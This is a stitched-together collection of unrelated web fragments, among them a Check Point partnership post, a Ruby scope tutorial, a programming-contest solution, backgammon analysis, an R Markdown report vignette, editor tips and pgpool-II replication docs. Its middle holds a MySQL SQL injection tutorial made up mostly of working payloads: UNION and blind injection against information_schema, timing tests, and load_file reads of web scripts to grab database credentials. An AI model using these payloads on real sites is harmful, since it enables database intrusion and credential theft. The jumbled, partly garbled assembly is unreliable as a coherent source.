The famous killer Michael Myers from the movie "Halloween" in his infancy. He loved to use terrifying masks since early ages.
A random hot girl that i found in google while i was searching for images to make the CSS exercise.


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--- layout: post title: Check Point and Crossbeam Expand Partnership date: 2010-05-04 10:17:00.000000000 -07:00 type: post published: true status: publish categories: [] tags: - Check Point - crossbeam meta: _publicize_pending: '1' author: login: phoneboy email<EMAIL_ADDRESS>display_name: Dameon Welch first_name: '' last_name: '' ---
Crossbeam has issued a press release about their expanded strategic partnership with my employer, Check Point Software Technologies. The key paragraph in that press release:
Customers can now purchase integrated solutions from Check Point, complete with maintenance and support delivered by Check Point’s award-winning global service organization. Check Point will provide support for both its software products and Crossbeam’s X-Series platform. This simplifies the ordering process and promotes closer product, sales and technical collaboration between Crossbeam and Check Point to support customer needs.
The kind of customers that will buy Crossbeam X-Series platforms are the kinds of customers who want what we used to call "first call, final resolution" back at Nokia. This is exactly what this provides: a single point of contact for purchasing and support of Check Point software on Crossbeam hardware. What's not to like?


You choose a door at random and stuff the note inside. The Branch Viking King looks at you somewhat suspiciously. You give him a nervous smile and say, "I think I'll go now. Thanks for your help." "Sure," the Library Giant says, "but first, remind me, does Jessica have on her purple nametag or her yellow nametag today?"
"Oh, I think it was the purple one," you say, trying to walk away.
"Trick Question! All name tags are blue!"
"Impostor!"


1. The information_schema table
1.a. Read information_schema table normally
Sometimes on MySQL >=5.0 you can access the information_schema table. So you may want to check which MySQL version is running:
0′ UNION SELECT version(),null /*
or:
0′ UNION SELECT @@version,null /*
Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point.
You can either get the names step by step or at once.
First, get the tablenames:
0′ UNION SELECT table_name,null FROM information_schema.tables WHERE version = ‘9
Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names.
update: Testing another MySQL version (5.0.51a) I noticed that the version is “10” for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”.
Second, get the columnnames:
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename
Or with one injection:
0′ UNION SELECT column_name,table_name FROM information_schema.columns /*
Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this. If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line.
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1
Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line:
0′ UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename
Once you know all table names and column names you can union select all the data you need.
For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type.
1.b. Read information_schema table blindly
Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics. However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example:
1′ AND 1=0 UNION SELECT @@version,null /*
If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version:
1’AND MID(version(),1,1) like ‘4
The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4”. If not, I’ll guess the server is running MySQL 5. Check it out:
1’AND MID(version(),1,1) like ‘5
Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests:
1′ UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /*
But be careful with the benchmark values, you dont want to crash your browser ;-). I’d suggest you to try some values first to get a acceptable response time.
Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point.
Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy?
We’ll use the same injection as in 1.), but now with blind injection technique:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m
Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables.
Once you got the right letter, move on to the next:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m
And so on.
If you got the tablename you can brute its columns. This works as the same principle:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m
And so on.
To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index):
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m
Or columnname:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m
Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal.
Check for the tablename:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’
Or for the column name:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’
Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long.
Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user.
If the following succeeds, it means that there is one user generated table:
1′ AND 34=(SELECT COUNT(*) FROM information_schema.tables)/*
There are two tables if the following is true:
1′ AND 35=(SELECT COUNT(*) FROM information_schema.tables)/*
And so on.
2. You don’t have access to information_schema table
If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL. There is only one error message I could find that reveals a name:
1’%’0
Query failed: Column ‘id’ cannot be null
But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier.
If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course.
“To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.”
You can read out max_allowed_packet on MySQL 5
0′ UNION SELECT @@max_allowed_packet,null /*
Mostly you’ll find the standard value 1047552 (Byte).
Note that load_file always starts to look in the datadir. You can read out the datadir with:
0′ UNION SELECT @@datadir,null /*
So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt.
2.a. Read the script file
Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this:
0′ UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows)
0′ UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux)
The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path.
All about file privileges and webserver path can be found in my article about into outfile.
Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you.
2.b) Read the database file
On MySQL 4 and 5 you can also use load_file to get the table content.
The database files are usually stored in
@@datadir/databasename/
Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this:
0′ UNION SELECT load_file(‘databasename/tablename.MYD’),null /*
As you can see we need the databasename and tablename first. The databasename is easy:
0′ UNION SELECT database(),null /*
The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like:
0′ UNION SELECT ‘success’,null FROM testname /*
This will throw an error if testname does not exists, or display “success” if tablename testname exists.
If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first.
You can find a small wordlist for common tablenames here (by Raz0r) and here.
Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ;-))
(2.c. Compromising the server)
There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI).
If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me.


Ruby supports the following variables:
$global_var = accessed and available throughout the entire program. Var name is not available to use again
@@class_var = available for all instances/objects of that class
@instance_var = available only for the specific instance of that class
local_var = available only in the code block where the variable was defined in
CONSTANT = a constant value, it is good practice to not change this value
I am going to give out an example of each variable's scope using real-life examples. Let's use the NFL as an example since it is so awesome to watch
The NFL is America's favorite sports to watch. In this case, we set it a global var of $nfl = "America's number one sport"
No matter what happens throughout our program, the global variable of $nfl
will have that string assigned to it and the variable of $nfl
is not available to use as a variable name anymore.
Let's say we have a class Players with a class variable of @@nfl_players = []
We want to get a count of all the players in the NFL. We can use that class variable and store all the player objects we created into that @@nfl_players
variable. This class variable is available to all player objects whether they play on offense, defense, special teams or a superstar veteran or just a humble rookie bench player.
For an instance variable that is only available for that created object, we can think of a player's @jersey_number
This means that all objects of that Player class has access to a variable named jersey_number where the player can have a jersey number assigned to them.
I often get confused between a @@class_var
and an @instance_var
. I just try and think, will this variable be shared by all objects of that class? Or will that variable be only for that specific instance of the class?
A good local var example would be a variable name that is general and we can re-use in later parts of the program. One of the metrics NFL scouts are obsessed over are a player's time
. Whether that be the 40 yd dash, the 10yd shuttle run, or how long a player has been on the injured list. With a local_var of time
we can use the same name of time
for the different parts to calculate the 40 yd dash, the 10 yd shuttle run, and so on
In this case a CONSTANT would be easy for the NFL program, we can use FIELD_GOAL = 3
to set the value of the FIELD_GOAL constant as 3. No matter what happens in the NFL, a field goal is always worth 3 points. Notice how all the letters are upper-case, each scope variable type should match the naming conventions I listed above in order for Ruby to pick them up.


This project does not run in the browser, but in NodeJS. To run the project, clone this repository, run npm install, and run npm start. See README.md in the github repository for more details.


Paris, The City of Light
Liverpool Football Club's participation in European competitions organised by Union of European Football Associations (UEFA)
began in 1964. Since then, Liverpool have won eleven European trophies, making them Britain's most successful team in UEFA
competitions.


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I'm a computational biologist at the Memorial Sloan Kettering Cancer Center in New York. In an earlier life I was a Chemical Engineer, and that early foundation guides how I think about a lot of the problems I try to solve in the lab. The majority of my projects have used proteomics and high-throughput cellular phenotypic data to design and understand treatment for glioblastoma, an aggressive brain tumor with high mortality.
I have a weakness for cats, science-fiction and Indian classical music. I occasionally tweet about science and music @gene_poo.


Catching the Thief
问题描述 :
In the Qingshui Village, there’s a clever thief and a cleverer police.
There are N houses in Qingshui Village which are located in a straight line. And the N houses are numbered from 1 to N according to the direction of the line. Two houses are consided to be neighbor of each other if and only if there is no other house between them.
The thief hides in one of N houses now, and the police tries to find him out. Every day the police will choose a house to check and he will catch the thief if he hides in that house. If the thief survive the arrest of the police, in the night he will move to a neighboring house to pass through the next day.
What is the number of days the police needs to catch the thief in the worst case?
Remember that the police is a clever man.
输入:
In the first line, an integer T (T <= 100) indicates the number of cases.
T lines follow. Each contains an integer N described above. (1 <= N <= 10000)
T lines follow. Each contains an integer N described above. (1 <= N <= 10000)
输出:
In the first line, an integer T (T <= 100) indicates the number of cases.
T lines follow. Each contains an integer N described above. (1 <= N <= 10000)
T lines follow. Each contains an integer N described above. (1 <= N <= 10000)
样例输入:
2 1 2
样例输出:
Case 1: 1 Case 2: 2HintCase 1: There is only one room, so the police can catch the thief on the first day. Case 2: There are two rooms. The police can check room 1 on the first day. The worst case is that the thief is in room 2, but in this case the police can check room 1 on the second day and will catch the thief for sure.
#include<cstdio> int main() { int t,cas=1,n; scanf("%d",&t); while(t--) { scanf("%d",&n); if(n!=1&&n!=2) n=n*2-4; printf("Case %d: %d\n",cas++,n); } return 0; }
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就算熬夜加班也必须画
就算熬夜加班也必须画
就算熬夜加班也必须画
就算熬夜加班也必须画
就算熬夜加班也必须画
惊艳了，没想到代码如此简洁
第二个是python代码啊。。
#include <stdio.h>
int main()
{
int n,p,t[100]={1};
for(int i=1;i<100;i++)
t =i;
while(scanf("%d",&n)&&n!=0){
if(n==1)
printf("Printing order for 1 pages:nSheet 1, front: Blank, 1n");
else {
if(n%4) p=n/4+1;
else p=n/4;
int q=4*p;
printf("Printing order for %d pages:n",n);
for(int i=0;i<p;i++){
printf("Sheet %d, front: ",i+1);
if(q>n) {printf("Blank, %dn",t[2*i+1]);}
else {printf("%d, %dn",q,t[2*i+1]);}
q–;//打印表前
printf("Sheet %d, back : ",i+1);
if(q>n) {printf("%d, Blankn",t[2*i+2]);}
else {printf("%d, %dn",t[2*i+2],q);}
q–;//打印表后
}
}
}
return 0;
}
mark, 很巧妙的实现！
不错的代码！
多谢支持！
方法二可行，已测试
http://blog.csdn.net/alpc_paul/article/details/33769407
http://beeder.me 这个网站上有很多poj和hihoCoder的题解，质量不错，欢迎转载。
很好的题，还是能做出几道的，嘿嘿
是穷举，但是代码有优化（v数组），并不是2^n。测试数据应该没问题，之前有超时的代码。
都是一些基础题啊
博主的C++功底真是好
确实有点难度，搞了好久。int溢出要注意
太变态了。我用hash居然超时了。这样break掉居然都行啊。。。


Money Play. Should Red redouble? If redoubled, should White take?
pips Red=21 White=29
(CorrectAnswer= 0/0, ErrorScore= 0)
If you evaluate this position using Trice’s Rules for Effective Pip Counts as outlined in my Backgammon Races paper in the downloads section of this website, then you will find it is double/drop. However, that formula does not take account of White’s hitting chances.
White will hit in approximately 5 games out of 36 which gives him added winning chances. Do the hits plus his racing chance add up to 25%?  If you chose not to double as Red now that is an entirely different matter!
White will hit in approximately 5 games out of 36 which gives him added winning chances. Do the hits plus his racing chance add up to 25%?  If you chose not to double as Red now that is an entirely different matter!
Cube analysis 2-ply cubeless equity +0.545 0.772 0.000 0.000 - 0.228 0.000 0.000 Cubeful equities: 1. Double, take +0.952 2. Double, pass +1.000 (+0.048) 3. No double +0.720 (-0.232) Proper cube action: Redouble, take


Copyright (c) 1994 David Welch and Paul Whitehorn, Image Games
Ko-An is played on a 6x6 grid of octagons, which can be translated to a square board of 13x11 with the following setup:
|
| An example If it's Blue's turn, he can win by capture c13 with c11 (both are Kings on King cells). If it's Black's turn, he should capture c13:c11 to prevent an immediate loss. However, Black cannot prevent Blue move e9-f10 placing a blue King into an unstoppable path. Notice that pieces in square cells must move to King cells. As an example, the black soldier at d10 cannot move to d8 (in fact, that soldier cannot move). |
This game can be played at Richard's play by email server.


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Please sideload your add-in to see app body.
Repeatedly click
Run
and observe Excel memory usage increase.
Run


|
Quest 02 added constraint
Lastest commit
8a3080e
|
||
|---|---|---|
| Part 0. git/Quest 00. Hello, git | Part 2 finished | 2 years ago |
| Part 1. HTML & CSS | Quest 02 added constraint | 2 years ago |
| README.md | Fix: Removed advertisement | 2 years ago |
KnowRe / WebDevCurriculum
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113
106
- Code
- Issues 0
- Pull requests 1
- Projects 1
- Insights 1
KnowRe web development curriculum for noobs
-
44
- commits 1
- branch 0
- releases 2
- contributors mark
- MIT


{include file="common/top" /} {include file="common/foot" /} Hotels Home Hotels Popular Destinations We all live in an age that belongs to the young at heart. Life that is becoming extremely fast, day to. Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250 Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250 Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250 Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250 Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250 Hilton Star Hotel View on map | 49 Reviews Swimming pool Yes Gymnesium No Wi-fi Yes Room Service No Air Condition Yes Restaurant Yes Price per night $250
Home Hotels
We all live in an age that belongs to the young at heart. Life that is becoming extremely fast, day to.
View on map | 49 Reviews


Computerized:
Hours: Monday - Wednesday: 8:00am - 4:00pm Thursday: Closed Friday: 8:00am - 12:00pm
Back to the [commerce] [main drag] [Root]


vignettes/C_functions-to-help-write-report.Rmd
C_functions-to-help-write-report.Rmd
library(NMFSReports)
library(magrittr)
library(ggplot2)
library(png)
library(cowplot)
library(magick)
This file is essentially the example file included in the buildReport()
function.
cnt_chapt <- "000" # Keep everything in a proper order
figure_list <- c() # This will help us by saving R-ready plots so we can easily go back and edit them if necessary.
table_list <- c() # This will help us by saving R-ready tables so we can easily go back and edit them if necessary.
dir_out_figures <- dir_out_tables <- NULL # I dont really want to save them in this example
cnt_figures <- 0 # This will autoname your figures with consecutive numbers (e.g., Figure 1.)
cnt_tables <- 0 # This will autoname your tables with consecutive numbers (e.g., Table 1.)
cnt_equ <- 0
cnt_chapt_content<-0
filename0<-"example"
indesign_flowin<-FALSE # not going into a final publication that requires indesign for final touches
# Chunks are were we can write code for something later in the code.
# example data
dat <- data.frame(x = rnorm(n = 100),
y = rnorm(n = 100),
col = rep_len(x = c("a", "b"), length.out = 5))
Footnotes.list<-list("ExOfStandardFt" = "Wow, this project is so cool!")
types_of_vessels <- c("NOAA Vessel", "F/V Fishing Boat", "R/V University Vessel", "Private Charter")
Here is the report content:
My example dataset has 100 rows in it and three columns in it.1
This sentence exemplifies how to systematically calculate a percent change: a 97% decrease2.
Here are several types of vessels: NOAA Vessel, F/V Fishing Boat, R/V University Vessel, and Private Charter.
Here is some equations you’ll need to have in this report:
cnt_equ<-auto_counter(cnt_equ)
Eq. 1: Newton’s Universal Law of Gravitation
\[F = G \frac{m_1 m_2}{d^2}\]
cnt_equ<-auto_counter(cnt_equ)
Eq. 2
\[c^2 = b^2 + a^2\]
There are a lot of ways to cite within your report, so here is an example of two: (Fry 1957) and Arrhenius (1889). Checkout https://github.com/cboettig/knitcitations for more info!
Note that references will appear at the bottom of this document (and any document that you put references in) but when you combine this document with all of the other documents that you create, it will shift to the bottom of the report.
header <- "Here is a figure!"
footnote<-c("A footnote for this figure!", "A second footnote for this figure!")
nickname <- "example_plot"
alttext <- "This is a scatter plot of random data"
# Select data and make plot
figure <- dat %>%
ggplot(aes(x = x, y = y, colour = as.factor(col))) + # create plot
geom_point()
# save yo' stuff and do a lot of behind the scenes work
# alt: check out the "child = " in this next chunk header (which must stay empty)
Here in plot 1, we see that…
header <- "Here is a figure!"
footnote<-c("A footnote for this figure!")
nickname <- "noaalogo"
filename_desc <- "noaalogo"
alttext <- "The NOAA Meatball and text"
# Select data and make plot
figure <-
cowplot::ggdraw() +
cowplot::draw_image(readPNG(system.file("img/NOAA_Fisheries_logo_vertical.png", package = "NMFSReports")) )
# save yo' stuff and do a lot of behind the scenes work
# alt: this does the same thing as calling "child = " in the chunk header
res <- knitr::knit_child(
text = knitr::knit_expand(
file = system.file("rmd/_child_save_fig.Rmd", package = "NMFSReports")),
# file = ("../inst/rmd/_child_save_fig.Rmd")),
quiet = TRUE
)
Here in figure 2, we see the NOAA logo.
header <- "Here is a table!"
footnote<-"A footnote for this table!"
nickname <- "example1" # this is so you can refer to it later systematically
# Select data and make plot
# Create data-saver version of table that will be used to reference things later saved as backup
table_raw<-data.frame(col = LETTERS[1:10],
x = rnorm(n = 10),
y = rnorm(n = 10))
# Create pretty version of table that will go into report
table_print <- table_raw
table_print[,c("x", "y")] <-
NMFSReports::mod_number(table_print[,c("x", "y")],
divideby = 1,
comma_seperator = TRUE,
digits = 2)
# Format table
table_print <- table_print %>%
knitr::kable() #print table in text
# save yo' stuff and do a lot of behind the scenes work
# alt: check out the "child = " in this chunk header (which must stay empty)
| col | x | y |
|---|---|---|
| A | -1.1 | -1 |
| B | 0.083 | 0.84 |
| C | 0.042 | 0.39 |
| D | 0.55 | 0.64 |
| E | 0.34 | -0.3 |
| F | 1.3 | 1.1 |
| G | 0.27 | -0.75 |
| H | -1.4 | 1.1 |
| I | -0.097 | 0.49 |
| J | 0.27 | 0.084 |
Here in table 1, we see that…
header <- "Here is a table!"
nickname <- "example_foot" # this is so you can refer to it later systematically
# Select data and make plot
# Create data-saver version of table that will be used to reference things later saved as backup
table_raw<-data.frame(col = LETTERS[1:10],
x = rnorm(n = 10),
y = rnorm(n = 10),
footnotes = NA)
table_raw$footnotes[3]<-"Example footnote in a table 1."
table_raw$footnotes[4]<-"Example footnote in a table 2.,,,Example footnote in a table 3."
footnote<-"A table with footnotes!"
footnote<-c(footnote,
ifelse(NMFSReports::is_something_in_this_matrix(
x = table_raw,
search_for = "J"),
"There is a 'J' in this matrix!",
""))
# Create pretty version of table that will go into report
table_print <- table_raw
table_print[,c("x", "y")] <- NMFSReports::mod_number(table_print[,c("x", "y")],
divideby = 1,
comma_seperator = TRUE,
digits = 2)
# example of how to add footnotes from a column of footnotes
# here, we'll add footnotes from the "footnotes" column to the content in the first column, where necessary
table_print <- NMFSReports::add_table_footnotes(table = table_print,
from_col = "footnotes", # either use the name of the column or number
to_col = 1, # or the number of that column in that table
delim = ",,,")
table_print$footnotes<-NULL # remove column from final table
# here, I'll add a specific footnote to a specific place in the table
table_print <- NMFSReports::add_table_footnotes(table = table_print,
footnote = "Example footnote in a table 4.",
to_row = 2,
to_col = 2)
# apply multiple footnotes to multiple (same number) spots
table_print <- NMFSReports::add_table_footnotes(table = table_print,
footnote = c("Example footnote in a table 5.",
"Example footnote in a table 6."),
to_row = 2:3,
to_col = 2)
# Format table
table_print <- table_print %>%
NMFSReports::format_cells(rows = 0, # make column names
cols = 1:ncol(table_print), # for all columns
fonttype = "bold") %>% # bold
knitr::kable(row.names = FALSE, booktabs = TRUE) #print table in text
# save yo' stuff and do a lot of behind the scenes work
# alt: this does the same thing as calling "child = " in the chunk header
res <- knitr::knit_child(
text = knitr::knit_expand(
file = system.file("rmd/_child_save_tab.Rmd", package = "NMFSReports")),
quiet = TRUE
)
Wow, this project is so cool!↩
Here’s another, free-written footnote!↩
A footnote for this figure!↩
A second footnote for this figure!↩
A footnote for this figure!↩
A footnote for this table!↩
A table with footnotes!↩
There is a ‘J’ in this matrix!↩
Example footnote in a table 4.↩
Example footnote in a table 5.↩
Example footnote in a table 1.↩
Example footnote in a table 6.↩
Example footnote in a table 2.↩
Example footnote in a table 3.↩


Created by Scott / @ScottDalessandro
Comment a Single Line (There is no need to highlight the line, only highlight when you want to comment multiple lines)
Great for when you are creating your own comments especially in HTML
Reopens a recently closed tab, this also works in Chrome!
Highlight a word and select the next occurence. Use Escape to deselect all the highlighted occurrences.
Start using this to get rid of the (ix) in your test cases for Exercism.
Select Current Line
This keybind is a sequence, do CMD + K, then do CMD + B. I changed this keybind to CTRL + S
This is great for Testing
Takes your current file and moves it to the windown next to it.
This is your best friend
When you work with more files/folders this will be very handy to locate specific files, you can also use CMD + T.
Find a word and go right to it on enter "works differently than CMD + F"
There are some great plugins, check out Wbond.net
In your command palette, type install then search for your package
Shows syntax errors in your javascript. Sublime Text 3 also allows you to select which syntax errors you would like shown
Sublime LinterAdds additional features when you write click your sidebar
Side Bar EnhancementsProvides ways to quickly produce html boilerplate code, I don't use many of the features and power of Emmet but I wish I did!
Good TutorialFind snippets for libraries you use. Snippets are just like autocompletes but for code!
Make sure to install the live reload plugin for Chrome and enable the button Allow access
Live Reload Chrome Plugin LinkWhen you click or highlight a bracket it will show you what line the closing bracket is on.
Replaces Spotlight Finder on Mac. Allows you to do things such as search google, dash, Stackoverflow and more!
Alfred |Saves your past 'Copies' in a clipboard
FlycutDash supplies offline doucmentation
Dash - DocumentationSlate can be slightly challenging to setup but it gives you a lot of options to customize your box. I provided my .slate.js file that I installed in my home directory. Gist for .slate.js File.
Alternatively, an easier tool to use is Spectacle App it works right out of the box and has a simple GUI for customization.
Pick a theme below
ThemesGuide to customize Prompt
Bash Prompt TutorialCopy/Paste Code ScreenShots
Creates an Unordered or Ordered List
Bold, Italic & Underline Text
Guide to customize Prompt
Bash Prompt Tutorial


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| pgpool-II 4.0.3 Documentation | |||
|---|---|---|---|
| Prev | Up | Chapter 5. Server Configuration | Next |
This mode is used to couple Pgpool-II with another master/slave replication software (like Slony-I and Streaming replication), that is responsible for doing the actual data replication.
Note: The number of slave nodes are not limited to 1 and Pgpool-II can have up to 127 slave nodes. master/slave mode can also work just master node without any slave nodes.
Load balancing (see Section 5.7 ) can also be used with master/slave mode to distribute the read load on the standby backend nodes.
Following options are required to be specified for master/slave mode.
Setting to on enables the master/slave mode. Default is off.
Note: master_slave_mode and replication_mode are mutually exclusive and only one can be enabled at a time.
This parameter can only be set at server start.
Specifies the external replication system used for data replication between PostgreSQL nodes. Below table contains the list of valid values for the parameter.
Table 5-1. master slave sub mode options
| Value | Description |
|---|---|
| 'slony' | Suitable for Slony-I |
| 'stream' | Suitable for PostgreSQL's built-in replication system (Streaming Replication) |
| 'logical' | Suitable for PostgreSQL's built-in replication system (Logical Replication) |
Default is 'slony'.
This parameter can only be set at server start.
This mode makes the Pgpool-II to replicate data between PostgreSQL backends.
Load balancing (see Section 5.7 ) can also be used with replication mode to distribute the load to the attached backend nodes.
Following options affect the behavior of Pgpool-II in the replication mode.
Setting to on enables the replication mode. Default is off.
Note: replication_mode and master_slave_mode are mutually exclusive and only one can be enabled at a time.
This parameter can only be set at server start.
When set to on, and all nodes do not reply with the same packet kind to the query that was sent to all PostgreSQL backend nodes, then the backend node whose reply differs from the majority is degenerated by the Pgpool-II. If replication_stop_on_mismatch is set to off and a similar situation happens then the Pgpool-II only terminates the current user session but does not degenerate a backend node.
Note: Pgpool-II does not examine the data returned by the backends and takes the decision only by comparing the result packet types.
A typical use case of enabling the replication_stop_on_mismatch is to guard against the data inconsistency among the backend nodes. For example, you may want to degenerate a backend node if an UPDATE statement fails on one backend node while passes on others.
Default is off.
This parameter can be changed by reloading the Pgpool-II configurations.
When set to on, and all nodes do not reply with the same number of affected tuples to the INSERT/UPDATE/DELETE query, then the backend node whose reply differs from the majority is degenerated by the Pgpool-II. If failover_if_affected_tuples_mismatch is set to off and a similar situation happens then the Pgpool-II only terminates the current user session but does not degenerate a backend node.
Note: In case of a tie, when two or more groups have the same number of nodes, then the group containing the master node (backend node having the youngest node id) gets the precedence.
Default is off.
This parameter can be changed by reloading the Pgpool-II configurations.
When set to on, Pgpool-II enables the SELECT query replication mode. i.e. The SELECT queries are sent to all backend nodes.
Table 5-2. replicate_select with load_balance_mode affects on SELECT routing
| replicate_select is true | Y | N | |||
| load_balance_mode is true | ANY | Y | N | ||
| SELECT is inside a transaction block | ANY | Y | N | ANY | |
| Transaction isolation level is SERIALIZABLE and the transaction has issued a write query | ANY | Y | N | ANY | ANY |
| results(R:replication, M: send only to master, L: load balance) | R | M | L | L | M |
Default is off.
This parameter can be changed by reloading the Pgpool-II configurations.
When set to on, Pgpool-II will automatically lock the table on PostgreSQL before an INSERT statement is issued for that.
When replicating a table with SERIAL data type, the SERIAL column value may get different values on the different backends. The workaround to this problem is to explicitly lock the table before issuing the INSERT.
So for automatically locking the table Pgpool-II do the following transformation:
INSERT INTO ...
to
BEGIN; LOCK TABLE ... INSERT INTO ... COMMIT;
| Caution |
This approach severely degrades the transactions' parallelism |
Pgpool-II V2.2 or later, automatically detects whether the table has a SERIAL columns or not, so it never locks the table if it desn't have the SERIAL columns.
Pgpool-II V3.0 until Pgpool-II V3.0.4 uses a row lock against the sequence relation, rather than table lock. This is intended to minimize lock conflict with VACUUM (including autovacuum). However this can lead to another problem. After transaction wraparound happens, row locking against the sequence relation causes PostgreSQL internal error (more precisely, access error on pg_clog, which keeps transaction status). To prevent this, PostgreSQL core developers decided to disallow row locking against sequences and this broke the Pgpool-II, of course (the "fixed" version of PostgreSQL was released as 9.0.5, 8.4.9, 8.3.16 and 8.2.22).
Pgpool-II V3.0.5 or later uses a row lock against pgpool_catalog.insert_lock table because new PostgreSQL disallows a row lock against the sequence relation. So creating insert_lock table in all databases which are accessed via Pgpool-II beforehand is required. See Section 3.7 for more details. If does not exist insert_lock table, Pgpool-II locks the insert target table. This behavior is same as Pgpool-II V2.2 and V2.3 series.
If you want to use insert_lock which is compatible with older releases, you can specify lock method by configure script. See Section 3.4 for more details.
For fine (per statement) control:
set insert_lock to true, and add /*NO INSERT LOCK*/ at the beginning of an INSERT statement for which you do not want to acquire the table lock.
set insert_lock to false, and add /*INSERT LOCK*/ at the beginning of an INSERT statement for which you want to acquire the table lock.
Note: If insert_lock is enabled, the regression tests for PostgreSQL 8.0 gets fail in transactions, privileges, rules, and alter_table.
The reason for this is that Pgpool-II tries to LOCK the VIEW for the rule test, and it produces the below error message:
! ERROR: current transaction is aborted, commands ignored until end of transaction blockFor example, the transactions test tries an INSERT into a table which does not exist, and Pgpool-II causes PostgreSQL to acquire the lock for the table. Of cause this results in an error. The transaction will be aborted, and the following INSERT statement produces the above error message.
Default is off.
This parameter can be changed by reloading the Pgpool-II configurations.
Specifies a table name used for large object replication control. If it is specified, Pgpool-II will lock the table specified by lobj_lock_table and generate a large object id by looking into pg_largeobject system catalog and then call lo_create to create the large object. This procedure guarantees that Pgpool-II will get the same large object id in all DB nodes in replication mode.
Note: PostgreSQL 8.0 and older does not have lo_create, so this feature does not work with PostgreSQL 8.0 and older versions.
A call to the libpq function lo_creat() triggers this feature. Also large object creation through Java API (JDBC driver), PHP API (pg_lo_create, or similar API in PHP library such as PDO), and this same API in various programming languages are known to use a similar protocol, and thus should work.
This feature does not works with following operations on large objects.
All APIs using lo_create, lo_import_with_oid.
lo_import function in backend called in SELECT.
lo_create function in backend called in SELECT.
Note: All PostgreSQL users must have a write access on lobj_lock_table and it can be created in any schema.
Example to create a large object lock table:
CREATE TABLE public.my_lock_table (); GRANT ALL ON public.my_lock_table TO PUBLIC;
Default is ''(empty), which disables the feature.


